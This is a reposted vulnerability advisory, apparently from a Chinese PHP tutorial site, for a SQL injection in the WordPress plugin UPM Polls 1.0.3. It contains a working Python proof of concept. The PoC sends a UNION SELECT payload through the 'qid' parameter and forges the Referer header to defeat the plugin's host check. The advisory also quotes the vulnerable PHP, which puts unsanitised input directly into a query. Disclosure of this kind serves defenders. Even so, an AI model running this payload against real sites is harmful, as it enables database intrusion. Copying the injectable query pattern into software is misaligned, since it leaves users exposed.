来源:自学PHP网 时间:2015-04-17 14:46 作者: 阅读:次
[导读] 标题: UPM Polls = 1.0.3 SQL Injection Vulnerability作者:Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)软件下载地址: http://downloads.wordpress.org/plugin/upm-polls.1.0.3.z......
标题: UPM Polls <= 1.0.3 SQL Injection Vulnerability 作者: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) 软件下载地址: http://downloads.wordpress.org/plugin/upm-polls.1.0.3.zip 影响版本: 1.0.3 (已测) PoC --- #!/bin/python
import re import urllib2 import urlparse
url = "http://www.2cto.com /wp-content/plugins/upm-polls/includes/poll_logs.php?qid=-1 UNION ALL SELECT NULL,CONCAT(CHAR(96),@@version,CHAR(96)),NULL,NULL,NULL,NULL-- ".replace(" ", "%20") req = urllib2.Request(url=url, headers={"Referer": url}) content = urllib2.urlopen(req).read() match = re.search(r"`(.+)`", content)
print match.group(1) if match else "None"
--------------- Vulnerable code --------------- $ref = parse_url( $_SERVER['HTTP_REFERER'] ); if( $_SERVER["HTTP_HOST"] != $ref['host'] ){ exit('UPM Error:128'); }
...
$QID = $_GET['qid']; $POLL = $wpdb->get_row("SELECT * FROM `".$wpdb->prefix."pppm_polls` WHERE `id` = $QID", ARRAY_A); |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com